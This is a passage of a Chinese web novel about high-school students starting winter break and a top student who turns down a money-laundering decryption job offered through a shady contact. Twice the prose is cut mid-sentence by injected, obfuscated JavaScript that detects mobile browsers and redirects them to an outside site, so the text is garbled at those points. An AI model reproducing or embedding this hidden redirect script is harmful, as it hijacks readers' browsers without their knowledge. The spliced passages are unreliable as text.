“太好啦小胖。”顾苒大大咧咧揽过陆青竹的肩膀,锤了锤肩膀,“我就知道你最靠谱。” 陆青竹的脸颊不可闻的染上一抹绯红。 余念看着朋友们兴奋的样子,心里涌起一股暖流。她转头望向窗外,校园里的路灯已经一盏盏亮起来,在渐浓的暮色中像是散落的星辰。 这一刻,她忽然觉得时间过得真快。 仿佛开学典礼才过没多久,一眨眼就放假了。 “想啥呢念念。”方依珞递过来一根棒棒糖,“这是复习的时候我偷偷买的,还剩几根。” 余念接过,开玩笑说,“你小子,早就买了也不知道分我一根。” 方依珞吐了吐舌头。 教室里的欢笑声此起彼伏,像一串串轻盈的泡泡,将期末考试的阴霾渐渐冲散。 大家都在热火朝天地讨论着即将到来的寒假。 班主任老张不知何时已经站在了讲台上,轻轻敲了敲黑板,“同学们”,教室顿时安静下来。 老张的声音里带着难得的柔和,“知道你们对寒假充满期待,但在放假前,我们还有最后一堂课。” “啊?还要上课?”同学们不太理解,从来没听说过放假之前还要上课的。 “寒假安全学习教育。”老张从大黑公文包里掏出一张表,递给第一桌的同学,“往下传,下面的同学要认真阅读学习文件上的内容,再签字确认。” 说完,老张点开多媒体,正打算点开课件,那张表就已经填完了,传回到讲台上。 小老头拿起来一看,密密麻麻已经签完了每个同学的名字,他笑一声,台下的同学也开始跟着笑。 大家都很默契地没有说话,老张也开始讲课件课件的内容。 没多时就听到楼上开始传来桌子椅子移动的声音,地板上发出刺耳的刮擦声。这声音像是某种信号,很快,隔壁班级也传来吵闹的收拾东西之声。 走廊上脚步声越来越密集,夹杂着欢快的交谈和笑声。 老张坚持讲完安全学习教育,看着台下一张张心不在焉的脸,无奈地摇了摇头。 粉笔头在空中划出一道抛物线,准确落入讲台上的粉笔盒里:“收拾东西吧。” 他话音未落,欢呼声已经掀翻了屋顶。 “放假啦!” 老张喊了几个长得高壮的男生去搬寒假作业,那几本崭新的《开心每一天》发到手里,封面上卡通人物笑得没心没肺。 余念接过属于自己的那本,纸张散发出淡淡的油墨味,忽然觉得寒假似乎也没那么令人期待了。 顾苒哀嚎,“这么厚一本作业,这地抄到什么时候啊。” “嘘,小点声。”方依珞说,“咱们这是正经写作业,怎么能说是抄呢。” 她故意把“正经”两个字咬得很重,引得几个人都笑出了声。 快速收拾好东西,走出教学楼时,寒风迎面扑来。 余念把脸往围巾里埋了埋,呼出的白气在眼前缭绕。校园里的路灯将他们的影子拉得很长,四个人的影子在雪地上交织在一起,像一幅抽象的画。 “寒假快乐!”在校门口分别时,顾苒突然大声喊道,她的声音在寒冷的空气中显得格外清亮。 出了校门,回头一看教学楼的方向还有很多同学三三两两从教学楼里出来,每个人脸上都挂着开心的笑,嘻嘻笑笑跑向大门。 在一众人中,余念单独看到了那双独特的眼睛,在夕阳的闪烁下是那样动人,眼底却仍是蕴含着一汪难以化冻的冰水。 方依珞拉了拉余念的手,“啊啊啊我看到孟修了,他刚才也在往这边看。” 余念无奈拉着她,“好啦,喜欢看,以后有的是机会。” 目光却不自觉地越过方依珞的肩膀,寻找着那个清冷的身影。 不远处,孟修也在拽着宋恩年的袖子:“看到没?方依珞刚才在看我!” 他兴奋得手舞足蹈,差点撞到路过的同学,“她今天扎了蝴蝶结发绳,可爱死了!” 宋恩年的目光却越过人群,落在那个低头浅笑的侧影上。 收回视线,淡淡道:“你这样只会把人吓跑。” 孟修立刻像被按了暂停键,僵直了身体。 他整了整校服领子,故作镇定地从方依珞身边经过,连余光都不敢往那边瞟。 方依珞低头的时候,正好错过孟修看过来的眼神。 孟修扭头时,也错过了方依珞的眼睛。 两个人就这样擦肩而过。 很久很久以后,这场阴差阳错的暗恋才被时光揭开,发现,原来从一开始,缘分就浅薄得可怜。 * 余念回到家,久违的放松感从脚尖漫到发梢,立马躺进沙发里,连指尖都透着慵懒。 她高声宣布,“我考完试啦,明天要睡到自然醒。” “念念回来啦?”梁秀英从厨房探出头,围裙上沾着面粉,笑着说,“院子里的小白菜长好了,今晚咱们吃火锅。” 余念闻言立刻从沙发上弹起来,小跑到厨房门口,倚着门框往里张望:“好呀,好久没吃火锅了,最喜欢奶奶的手艺啦。” 说话间,鼻尖已经捕捉到了骨头汤的醇香,让她不自觉地咽了咽口水。 梁秀英笑着,“小馋猫。” 就在这时,“砰”的一声,院门被撞开。余建国满身泥泞地闯进来,裤管还在往下滴水。 余念捏着鼻子调侃:“爷爷您掉泥坑里啦?” “哎哟喂,我刚拖的地板。”梁秀英抄起扫把就冲过来,把老伴往外轰,“要弄去院子里弄!” 余建国讪笑着退到廊下,却不忘朝孙女眨眼睛:“念念快来,爷爷在院子里挖了个池塘,咱一起种荷花。” 梁秀英边赶人边笑,“也就只有你了,一把年纪了还折腾个没完。” 余建国说,“我这不叫折腾,你种菜不也不需要水嘛,到时候再买两条鱼回来养里头,啥时候想吃鱼都行。” 梁秀英听这话,笑出了声。 余念跟出去,只见院角赫然出现个土坑,旁边堆着几节沾满泥土的莲藕。 “爷爷,你准备得这么充分,莲藕都挖回来啦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459113|169667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 余建国说,“那当然,都准备好了。” 夕阳把祖孙俩的影子拉得很长,余建国卷起裤腿跳进坑里,泥水溅到脸上也浑不在意:“等夏天到了,咱们就坐在这儿赏荷吃西瓜。” 余念笑,“期待住了。” 梁秀英站在厨房窗口,看着一老一小蹲在土坑边嘀嘀咕咕,终究没再说什么。只是转身时,嘴角悄悄扬起温柔的弧度。 当最后一株荷花苗被小心栽下,天边的云霞已染成绚丽的橘红色。 晚风拂过新生的荷叶,在水面荡起细碎的波纹,连带倒映的霞光也碎成了千万片金箔。余念举起手机,镜头里爷爷的笑脸和摇曳的荷影定格成永恒。 榕城的冬天难得有这样美丽的傍晚。 最常见的天气就是湿雨连绵的,萦绕不绝,很少看到如此绚烂的天空。 余念点开企鹅空间,打算同样将这一幕分享出去。 “念念?”梁秀英围着围裙在厨房里做菜,时不时从窗户里探出脑袋,看看老头子又带着小孙女在倒腾什么。 “等会等会。”余念小心翼翼编辑文案,点击发送。 她抬起头来看向厨房敞开的窗户,“怎么啦。” 梁秀英笑着:“小泥猴。” “家里的盐快没了,酱油也见底了,去带些回来。” “好嘞。”余念答应下来。 换了双休闲的鞋子就出了门。 暮色中的小巷像被撒了一把星星。 放寒假的学生们挤满街头,书包带子松垮垮地挂在肩上,三三两两地追逐打闹,食物汤汁粘在嘴角也顾不上擦。 余念穿过这片欢腾的小吃街,熟门熟路地拐进刘婶的小卖部。木质招牌被岁月磨得发白,“刘记杂货”四个字却依然清晰。 门楣上的风铃叮当作响,货架上整齐排列的零食在灯光下泛着温暖的色泽。 “念念来啦?”刘婶从老花镜上方抬起眼睛,皱纹里都盛着笑意,“都好长一段时间没见过你了,期末考试考完了?” “刚考完。”余念把钱递过去,“刘婶,我要一包盐和一瓶酱油。” “好嘞。”刘婶转身去取商品,余念不着急,站在门外等着。 刘婶很快将盐和酱油拿出来,顺带还拿了一大包翠绿的白菜,笑呵呵说:“自家种的,炖豆腐最香。” 余念从来不和刘婶客气,拿在手里便道:“谢谢刘婶,我先回去啦。” 踏上回家的路,因着这条路的小吃摊实在太多,正值放学期间,是人流量最大的时候。 “小心。”清冽的声线传来,余念才发现自己差点撞到举着章鱼烧的小学生。 宋恩年骨节分明的手稳稳托住即将要掉在地上的塑料盒。 少年将章鱼烧还给惊魂未定的小男孩,声音比平时柔和几分,“小朋友,你的章鱼烧。” 小男孩崇拜地道谢,蹦跳着跑远了。 “多...多谢。”余念感觉脸颊发烫,慌忙后退半步。她这才注意到宋恩年身边站着位慈祥的老婆婆。 正是学校门口卖早点的宋奶奶。 余念惊喜:“宋奶奶。” 宋恩年解释道:“外婆身体不好,我送外婆去医院看看。” 宋奶奶跟着点头笑,“念念。” 余念反应过来,原来宋奶奶是宋恩年的外婆。 嘴比脑子转得快,她说:“祝奶奶身体早日康复。” 说着,还做了一个俏皮的动作,“我还等着吃您包的包子呢。” 宋奶奶笑,“我身体好着呢,能有啥问题,念念喜欢,以后奶奶每天多做点。” 余念道谢:“谢谢奶奶。” 暮色渐浓,路灯次第亮起,余念抱着食材往家走。身后拖着的影子被灯光拉得很长很长。 她突然想起宋恩年镜片上那层白雾,和雾气后面若隐若现的眼睛。 原来冰雪消融时,是这样动人的光景。 远处传来梁秀英呼唤吃饭的声音,炊烟在晚霞中袅袅升起。池塘里的新荷轻轻摇曳,仿佛在记录这个平凡又特别的冬日黄昏。 ...... 宋恩年的方向,宋奶奶忍不住说:“阿幺,人家就站在你面前,你也不知道多说两句话,这样人家小女孩怎么会对你有印象。” 宋恩年诧异,“外婆?” “行了,别以为我不知道你那些小心思,外婆都看得出来。” 少年没有反驳,只是把外婆的手握得更紧了些。路灯将他们的影子拉得很长很长,一直延伸到春天的方向。 “叮咚”一声,宋恩年感受到口袋里的手机收到新消息,拿出来一看,是特别关注新发了空间动态。 点进去一看,看到那舒适美满的照片和俏皮的文案,心都跟着柔软了下来。 13. 第五封信 暮色四合,宋恩年扶着外婆从医院出来,手里拎着两盒药。 每当有熟悉的街坊询问,宋恩年都会点头说:“是给外婆开的药,就两盒常见的。” 声音平静得像是陈述一个再普通不过的事实。目光却始终没有放松警惕。 注意到没人盯梢,这才松了口气。自从那次之后,赌场派来的人似乎真的销声匿迹了。 但暂时的平静不代表安宁。 还需要谨慎着些。 回到家,宋奶奶看着白色塑料袋里那两盒药,无奈地叹了口气。 真正的药都藏在祖孙俩的口袋里,被细心地拆分成小包装。这些年来,为了在追债的阴影中活下去,他们早已学会如何在人前演戏,如何把重要的东西藏得不露痕迹。 “阿幺...”宋奶奶欲言又止,最终还是化作无奈的叹息,“以后多为自己想想。” 一想到阿幺为了挣钱,去接那些危险的活,她心里头就揪得紧。 宋恩年刚将水壶接好水,听到外婆这话,动作一顿,而后扭开燃气灶,将火势调整到合适,“外婆,我有挣钱的法子,您注意身体就好,不要操心这些。” 宋奶奶叹气,每次谈论到这个话题,阿幺总会搬出这套说辞。 她这个孙儿啊,什么都好,就是脾气太倔。拿定的主意的事,任凭旁人怎么说也不会轻易改变主意。 正想着,沉闷空旷的屋子内响起水壶沸腾的声音,锅盖碰撞声中,一阵水蒸气蒸腾而上。 宋恩年拿起水壶,给外婆冲了一杯药。 他记得每一种药的服用时间,记得医生叮嘱的每一个细节。这些年来,照顾外婆已经成了他生命中最重要的事。 电饭锅里还剩下中午的米饭,他用开水烫成稀粥,省去了烧饭菜的时间。 炒了两个家常菜,摆上桌。 宋奶奶边吃边夸,“阿幺的手艺不错呀,比外婆做的好吃多了。” 宋恩年笑笑,“都是跟您学的。” 祖孙两个人吃完饭,宋恩年习惯性叮嘱,半夜要是有不对劲的地方,一定要喊自己。 宋奶奶总是点头,“哎呀,我一个老婆子,但也能照顾好自个儿。” 客厅又重归宁静。 宋奶奶靠在沙发上,就着昏黄色的钨丝灯,她望着孙子的房门,透出一线光亮,在黑暗中显得格外温暖。 她想了很多很多。 自己以后终会有离开的一天,到时候阿幺该怎么办。 她也曾无数次抱怨老天爷,为什么偏生让她的阿幺来承受这些。 但这些年下来,心中有再多的怨气也都淡去了,她只希望,阿幺能够平安快乐的活着。 思绪飘远,她想起这些年来辗转搬家的日子,想起那些如影随形的催债人,想起阿幺从小到大的每一个成长瞬间。 债还不完,他们就永远无法真正安定下来。但至少现在,在这个安静的核桃巷,他们找到了一方暂时的净土。 宋奶奶重重叹了一口气,瞥了一眼身旁的钨丝灯,暖黄色的灯光照亮这一片区域。 “怪费电的。”她嘟囔着拉下灯线,吧嗒一声,屋子陷入黑暗。 月光从窗户斜斜地照进来,在地板上铺开一片银白。在这清冷的光晕里,她仿佛看到了年轻时的自己,站在讲台上教书育人的模样。 那时的日子多么单纯美好啊,带着女儿一起快乐的生活。 女儿单纯。如果她那时候能擦亮眼睛,看清楚那个男人的真面目,女儿也不会被他骗走,家庭也不会分崩离析,也不会活成现在这样。 宋奶奶再叹一口气,起身准备明天早餐的食材,将面粉发好。 忙活完这些,已经到了半夜,宋奶奶看一眼从阿幺门缝处透出来的光,知道他还没睡。 哪有什么天才学神,一学就会。只不过是比别人花更多精力,也清楚自己除了这条路之外,无路可走,没有选择罢了。 宋恩年从小就没有让她操心过,他的努力,宋奶奶都看在眼里。 老人轻轻擦去眼角的湿润,将发好的面团盖上湿布。月光静静地流淌在厨房的地面上,像是无声的陪伴。 ...... 门内,宋恩年就着台灯复习,这已经成为了他的习惯。 他转头看向窗外,夜色中的核桃巷安静得像一幅水墨画。远处偶尔传来几声犬吠,更显得静谧。 手机屏幕突然亮起。宋恩年划开锁屏,指尖在屏幕上停留了一瞬,还是点进了余念的企鹅空间。 新发的动态跃入眼帘,满天的晚霞将整个画面染成橘红色,少女站在荷塘边,笑容明媚得像是能驱散整个冬日的寒意。 宋恩年摩挲着屏幕,将照片放大又缩小。 他注意到余念的爷爷正弯腰整理荷叶,奶奶站在一旁,眼角的皱纹里盛满笑意。这样平凡而温暖的画面,对他来说却遥远得像另一个世界。 真好。 他笑了声,点击返回主页,发现孟修的头像排在聊天列表最顶端。宋恩年这才想起前些日子将他屏蔽的事。 点开对话框,无数条未读消息立刻涌出来,每一条都围绕着方依珞展开。 从她今天扎了什么发绳,到她在食堂点了什么菜,事无巨细。但凡是拐个十万八千里沾上边的,也要拼命和自己扯上关系。 宋恩年大致看了眼,回复:“你这是把我当备忘录了。” 孟修秒回:“卧槽,哥,你终于上线了。” “准确消息,明天方依珞会去新城区玩,好像是和同学约了一起去吃火锅。这样大好的偶遇机会,我必定不能错过,你明天有时间不?” 宋恩年刚想划开,紧接着就弹出孟修的下一条消息:“听说好像是和她同桌一起去,好像是个成绩还不错的女生。” 宋恩年:“去,几点钟。” 孟修:“从没见你这么快回消息过,我还以为你不会搭理我呢。” 宋恩年:“少废话。” 孟修:“明天下午两点。” 宋恩年:“准时。” 孟修兴致勃勃:“这关乎我和方依珞偶遇的大事,必须准时。我都想好了,到时候假装咱是无意经过,然后偶遇打招呼,最后成功加上联系方式!” “哥们想的好办法是不是绝妙,快夸我!” 宋恩年打出一个“嗯”。 退出企鹅,想到明天也许能见到余念,嘴角几不可察地扬起一个弧度。这个细微的表情转瞬即逝,快得连他自己都没察觉。 手机再次震动起来,是微信消息。 他拿起手机点开,一个陌生的头像跳了出来。 宋恩年盯着那个头像看了两秒,才想起这是两个月前有过交集的老李。 他都差点忘了列表里还躺着这么个人。 老李:“这些天跟着大哥干活,赚了不少钱,你最近还缺钱不?” 宋恩年回复:“不缺。” 老李:“小兄弟,缺钱了跟哥说,没啥不好意思的。” 宋恩年看着屏幕上的字,笑出声,“难为你还记得我。” 老李:“我这人就这样,有点小钱就爱找个人炫炫。” 宋恩年想开个玩笑,“要是哪天我缺钱了,第一个就找你这只肥羊。” 刚发出去,那边就打来语音通话。 宋恩年点击接通。 老李的声音传来,没有了两个月前那种毕恭毕敬的样子,放开了许多,语气略微骄傲:“你要是知道我在这边干的事,就不会用肥羊这种词来形容我了。” “再说了,你也不会对我怎么样。”他语气很笃定。 宋恩年眯起的眼睛笑,“至少你也不会对我怎么样,”他慢条斯理地说,“我还有利用价值,不是吗?” 老李一顿,随后也咧嘴笑起来:“你很聪明,总能察觉到别人不能察觉的东西,哪怕我从始至终都没有提及过。” 宋恩年冷笑:“别整这么多客套话,说吧,想干什么。” 窗外的月光被云层揉碎,斑驳地洒在他面前的书桌上。 “我能有什么目的?”老李的声音通过电波传来,带着大洋彼岸特有的延迟感,“前些日子的委托,你爸那事有消息了。” “有线索了?”少年的声音很平静,像暴风雨前的海面。 电话那头传来玻璃杯碰撞的声响。老李似乎在组织语言,呼吸声通过话筒放大,像阵微弱的风。 “拉斯维加斯的兄弟前几天传来的消息,见到个人,是偷渡来的华人,典型的两广长相,就多盯了几眼。” “但右手小指缺了一截,你想想,特征对不对得上。” 宋恩年猛地坐直身子。他记得那个细节,父亲右手小指是在他五岁那年,被讨债的人用砍刀削去的。 “几成把握。”他问。 “七成。”老李说,“那人现在给个华人帮派当会计,专门做假账。我托人查了入境记录,是五年前从广东偷渡过来的。” 窗外的风突然大了起来,吹得晾衣绳上的衬衫猎猎作响。宋恩年盯着玻璃上自己的倒影,发现嘴角不知何时绷成了一条直线。 “帮我盯着,”他一字一句地说,“但别打草惊蛇。” 老李的笑声突然变得轻松:“就知道你会这么说。” 手机那头传来打火机点烟的声响,“对了,那帮人最近还找你麻烦吗?” 宋恩年看向窗外。核桃巷的夜色依旧平静,只有几只飞蛾绕着路灯打转。 他简短地回答,“消停了。” “那就好。”老李似乎松了口气,“今天找你还有件事,我这边接到个单子,给的不少,但需要个懂行的。” “听说你参加过什么代码破译大赛,还得了奖。” “以我对你的了解,你的水平应该不止于那种比赛吧。” 宋恩年语气冷静:“所以,这才是你突然联系我的原因?” 电话那头沉默了几秒。 “我就知道瞒不过你。”老李的声音正经起来,“是个破解加密账本的活儿,对方开价这个数。” 对面传来了纸张翻动的声音,一共五下。 “没兴趣。”宋恩年很干脆,“我现在不缺钱。” “猜到了。”老李并不意外,他拖长音调,“不过,你父亲的线索,你觉拿什么来和我交换。” 窗外的云层散开,月光突然变得刺眼,照得宋恩年的侧脸如同冰雕。 老李这是在变向地威胁他。 如果不帮忙,就别想得到那个男人的消息,这些年的仇也将不能得报。 “老李,”他突然笑了,声音轻得像羽毛落地,“我还真以为你会把我当朋友呢。” 老李叹息,“这也是没办法的事,对方给的太多。再说,这也是互利互惠的事,不是吗。” 夜风穿过窗缝,吹散了书桌上的草稿纸。宋恩年看着那些飘落的纸张,想起余念动态里里飞扬的发丝。 一个是阳光下的温暖,一个是阴影里的冰冷,两个世界明明近在咫尺,却又远得像是永远无法交汇的平行线。 老李似乎不想把氛围弄得太僵,继续说:“破解个加密账本的活而已,又不用出去喊打喊杀的,轻松又简单,只不过身边确实没人了,才想到你。” “把资料发我。”宋恩年说。 他挂断电话,将手机扔在桌上,发出一声闷响。 月光依旧静静地流淌在房间里,却再也照不进他漆黑的眼睛。 有些时候,没得选。 * 手机自动熄灭。老李的消息提示紧接着亮起来,是个加密文件的传输请求。 他点开文件,密密麻麻的数字在屏幕上滚动,看得人眼睛疼。 书桌上的时钟指向凌晨两点。 宋恩年站起身,走到窗前,想冷静冷静。 “阿幺?”外婆的声音从门外传来,“还没睡啊?” 宋恩年迅速锁上手机屏幕。“马上。”他立刻说,“有道题快解出来了。” 宋奶奶说,“都放假了,就不要太用功了,身体要紧。” “知道了。” 等脚步声远去,宋恩年重新点亮屏幕。老李又发来条消息: “对了,明天下午两点,雇主是中国人,约在咖啡厅面谈,地址发你了。” 宋恩年皱眉,这要求太奇怪了。通常这种委托,双方根本不会见面。 他问:“为什么要面谈?” 老李回复:“也许想要确认一下是否靠谱。没办法,对方给的多,你实在不愿露面,乔装打扮一下也行。” 宋恩年没回,盯着老李发来的地址,想起和孟修的约定,也是明天下午两点,在新城区。 余念会出现在那里。 窗外的月光被云层吞没。他站在黑暗里,突然觉得命运像个蹩脚的编剧。 将两个截然不同的世界硬生生挤压在同一时刻。 宋恩年坐回书桌前,钢笔在指尖转了一圈,最终停在草稿纸的空白处。 他写下两个时间: 14:00,孟修/余念 14:00,老李/雇主 墨水在纸面上洇开小小的圆点。宋恩年盯着这两个并排的时间,突然轻笑出声。 生活总是这样,要么平淡得令人窒息,要么就荒唐得像出闹剧。 他拿起手机,给孟修发了条消息:“明天我可能晚到。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459114|169667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >几乎是立刻,孟修的回复就跳了出来:“你怎么回事,说好的兄弟情呢?!” 宋恩年没理会他的夸张,继续打字:“最多迟到十分钟。” 发完就摁灭手机。窗外的风变了方向,吹得窗棂咯咯作响,他关掉台灯,任由黑暗吞噬整个房间。 在睡前,他最后看了眼企鹅。余念的空间又更新了,是张星空的照片,配文只有两个字: “晚安。” “也祝你晚安。”他轻声说。 * 第二天。 孟修早早就到了约定好的地方,看见宋恩年,他一个箭步冲上来:“终于来了,我还以为你不来了呢。” 孟修有些得意,“快看我的发型,酷吧,猜猜我几点就起来弄发型了。” 注意到宋恩年还拎着一个黑色袋子,皱着眉问:“这是啥,你还带了道具?” 宋恩年瞥了眼他喷了半瓶发胶的刺猬头,不忍直视地移开目光,“帮外婆买点药。” 孟修转移了话题,“快夸我的手艺,这发型我弄了好久。” 宋恩年无语,幸好公交车来得恰到好处,拯救了他被噪音折磨的耳朵。 两人上了车,孟修全程都浸在即将要偶遇的高兴之中,很快就到了新城区的地点。 宋恩年看了眼手机,13:47。咖啡厅在左边,火锅店在右边,中间隔着个喷泉广场。 他对孟修说,“你先去踩点。我十分钟后到。” 孟修疑惑:“关键时刻,你干嘛去?” 宋恩年拍了拍黑色袋子。 孟修撇撇嘴,“还真是大忙人哈。”他挥挥手,“快点啊,别让我一个人尴尬。” 宋恩年抬脚往老李说的咖啡厅的方向去,闪身先进了巷子,从黑色袋子里掏出一个口罩,一顶能够改变发型的假发,反光眼镜,增高鞋垫。 还有一套平日里绝不会尝试的衣物。穿戴整齐后,再次出现在巷口,任谁也不会将他与方才的少年联系在一起。 推门时风铃叮当作响,冷气混着咖啡香扑面而来。角落的卡座里,戴金丝眼镜的男人正在看报纸。 “冰美式,谢谢。”宋恩年对服务员说,而后转头,在男人对面坐下。 “你比我想象的...更特别些。”男人放下报纸,镜片后的眼睛像两潭死水,“李先生说你是破解高手?” 宋恩年隔着墨镜瞥了他一眼。 服务员适时送来咖啡,他开门见山问:“老李已经给我发了,要破译的东西只是加密账本,对吧。” 男人盯着他的装扮,挑眉笑了,“准确来说,不只是账本。” “还有什么。”宋恩年皱眉。 男人直说,“还有跑分的名单。” 宋恩年声音冷得像冰:“跨国洗钱?老李没和我说这些,违法的事我不干。” 男人有点惊讶,“懂得还挺多。” “他没和你说我们开价多少么?” 宋恩年没多说,起身就走。 下一秒,就听到外面有警车呼啸的声音。 喷泉广场上人群骚动。宋恩年当机立断,逆着人流奔跑,听见身后传来混乱的叫骂声。 转过拐角时,他差点撞上一群人,眼镜被撞斜了些。是孟修,还有余念和方依珞。 时间仿佛静止了一秒。 孟修和宋恩年朝夕相处,凭着一双眼睛立马就认出了他,“老宋,才多久没见,你就把自己整成这样,这是要去干啥。” “抱歉!”宋恩年来不及解释,余光瞥见警察似乎开始下车搜寻,他猛地推开消防通道的门,把惊呼声关在身后。 消防通道常年没打开过,里面的霉味呛得人想吐。宋恩年蹲在拐角,听见脚步声越来越近,他快速将所穿的衣物和假发口罩等脱下,扔到废弃箱子里。 手机震了一下,是孟修发来的: “你还好吗?” 简单四个字,却让他胸口发紧。远处警笛声呼啸而过,宋恩年观察附近的摄像头,幸好摄像头的涉及面不算广。 这是一楼,也相对安全。他缓缓摸索着从监控盲区离去,一直到很远的地方,他才若无其事汇入人群中,然后走进药店,买了两盒普通的药。 任凭任何人都看不出异样。 一看手机,有十几个未接来电,外婆的,老李的,还有孟修的。最后一条消息来自五分钟前: “我们在385公交站等你。” 宋恩年赶过去。站牌下,几人的影子被路灯拉得很长。 孟修看着宋恩年欲言又止,“你小子,穿成那样,连我都差点认不出你了。” “不会是去买假药,被警察给一锅端了吧,跑那么快。” 宋恩年扯开一个笑,拍了拍黑色袋子,里面确实有两盒刚买的药,“没办法,正版药买不起,假药也是一样的功效。” “但假药不允许售卖,这也是没办法的事。” 孟修大大咧咧的,“早说啊,咱们帮你一起躲。” 余念拿着瓶矿泉水,递过去,“你受伤了,喝口水吧。” 宋恩年抬起头,这才发现手背在流血。可能是翻墙时刮的,伤口不深,但看起来很吓人。 他接过,“谢谢。” 这是他和余念为数不多的对话之一。 孟修说:“我都观察好了才叫你出来的,放心吧,警察都走了。” 宋恩年点头,“外婆的病比较复杂,得长期吃药维持,刚才......” 孟修和方依珞、余念三个人看他的眼神里充满了怜悯,解读出他的欲言又止。 连声说:“你放心,我们绝不会说出去的,希望奶奶早点康复。” 宋恩年:“谢谢。” 他迅速瞥了眼孟修,“真巧啊,在这也碰到你们了。” 几人都在同一层楼的班级,有时候会在走廊打照面,彼此都有印象。 余念说:“对呀,真巧。” 方依珞站得离孟修近了些:“那我们就算是认识啦,以后多多出来一起玩呀。” 几乎是下一秒,孟修就接话:“好呀,我都有时间。” 几人谈论着,没人过多将刚才的事放在心上,家里有困难,这也是没办法。 宋恩年看着余念的侧脸,只觉得胸口发紧。这一刻的温暖太过美好,美好得像是偷来的时光。 傍晚的风拂过发梢,带着远处小吃街的烟火气。路灯将他们的影子拉得很长,交织在一起,又很快分开。 宋恩年握紧手中的药袋,塑料发出轻微的声响,他想,这大概就是他们之间最近的距离了。 手机里,老李还在疯狂发消息。 宋恩年面无表情,直接关机。 14. 第五封信 “那个...”孟修清了清嗓子,目光在方依珞和余念之间游移,“反正大家方向差不多,要不一起回去吧?” 说完,他悄悄用手肘捅了捅身旁的宋恩年,“对吧老宋?反正我们都有时间。” 宋恩年被这一捅才回过神来。他微微颔首,目光却不自觉地飘向余念。 少女站在站牌的另一侧,发梢被晚风吹起,在暮色中划出温柔的弧度。 方依珞眼睛一亮:“好呀,既然顺路,那就一起走吧。” 公交车缓慢进站,四人坐在公交车后座相邻的两个位置,孟修和方依珞隔着走道,从最新上映的电影聊到学校食堂的招牌菜,笑声不断。 二十分钟的路程,两个人从天南聊到海北。 然后顺理成章加上了联系方式。 宋恩年不动声色坐在位子上,在车窗玻璃的反光看向对面,依稀能看到余念的脸。 那一刻他多希望自己也能像孟修那样,轻松地开启一个话题,而不是像现在这样,只能干坐在这。 “老宋!”孟修突然转过身,一巴掌拍在他肩上,“方依珞说一直想认识年级第一呢!” 宋恩年猝不及防地抬头,正对上余念转过脸来的目光。车厢顶灯在她眼中投下细碎的光点,像是夜空中突然亮起的星辰。 这一刻的对视比以往任何一次都要长久,久到他能看清她睫毛投下的阴影。 像是黑暗中的烛火,只需要轻微的刮擦就能轻而易举地点燃。 对视在孟修和方依珞继续高谈阔论地说话声中打断,宋恩年扭头,再一次看向车窗上时,脑海中突然闪过一个念头。 从自己的角度可以看见余念,那会不会从余念的角度也可以从车窗上看到他? 意识到这个,他觉得心脏忽然有些发紧。 也许余念只是在看风景,也许她根本就没注意到车窗上的倒影...但这些假设都无法平息他胸腔里那阵莫名的躁动。 一直到孟修提醒他到站了,宋恩年回过神来,从公交车下来。 四人陆续下车,夜风迎面吹来,带着冬日特有的清冽。 孟修不住在核桃巷,在十字路口依依不舍地挥手告别。宋恩年和两个女孩继续往前走,三人的影子在路灯下时而交叠,时而分开。 宋恩年刻意放慢脚步,渐渐落在后面。月光如水般倾泻而下,将余念的身影勾勒出一道银边。 转过街角时,他鬼使神差地抬头看了一眼。余念正站在红绿灯下,暖黄的路灯给她镀了层毛茸茸的光边。 似乎是察觉到视线,她突然转头,宋恩年立即别过脸,目光张望,往小卖铺的橱窗看去。 走进胡同的时候,厚厚的墙体彻底将月光隔绝在外。宋恩年一边往家的方向走,一边掏出手机,开机。 老李的名字瞬间跳出来,紧接着是无数个未接电话。 他面无表情点击清空消息弹窗,瞥了眼时间,现在已经是傍晚,六点整。 冬天的天黑得快,巷子里已经黑得看不清路。远处隐约传来雷声,潮湿的风卷着落叶打转,像是在酝酿一场新雨。 若是下雨的话,必定会伴随很长一段时间的湿冷,这是榕城人最不想经历的时候。 宋恩年加快脚步,脑海中闪过余念站在路灯下的身影。那样的温暖明亮,与他此刻所处的阴暗巷道仿佛两个世界。 他不打算理会老李,将手机调成静音模式之后揣回兜里,继续往家的方向走。 银行卡里的数字足够他和外婆很滋润地过一段时间,不需要再为那些肮脏的交易费神,也不差这一单的钱。 至于他那个多年没见过的父亲。 宋恩年冷笑一声。 他一定有机会找到那个人,让他付出代价。 推开家门时,厨房飘来老鸭汤的香气。宋奶奶从灶台前转过身,围裙上沾着面粉:“阿幺回来啦?今天比平时早。” “嗯,去找工作了,寒假先去找个活干。” 宋恩年将药袋放在桌上,塑料包装发出轻微的沙沙声。他走到厨房,接过宋奶奶手中的汤碗。滚烫的碗壁透过布料传来热度,让他冰凉的指尖终于有了些知觉。 宋奶奶欲言又止:“别太累着自己。” 宋恩年低头喝汤,热气模糊了他的表情,“嗯。” 窗外,第一滴雨落下,轻轻敲打在玻璃上。她起身关窗,唠叨着:“接下来要下雨了,天气湿冷,多喝些老鸭汤驱寒。” 宋恩年应了一声。 祖孙两人如同很多个夜晚那般用完晚饭,宋奶奶处理第二天要做的早点,发面醒面。 宋恩年回到卧室,从小窗台处盯着窗户外头,原本的小风已经变成了现在的大风,呼啸着从窗户外头而过,带起晾衣架一阵不堪重负的声音。 他将口袋中的手机掏出来,放在一边。 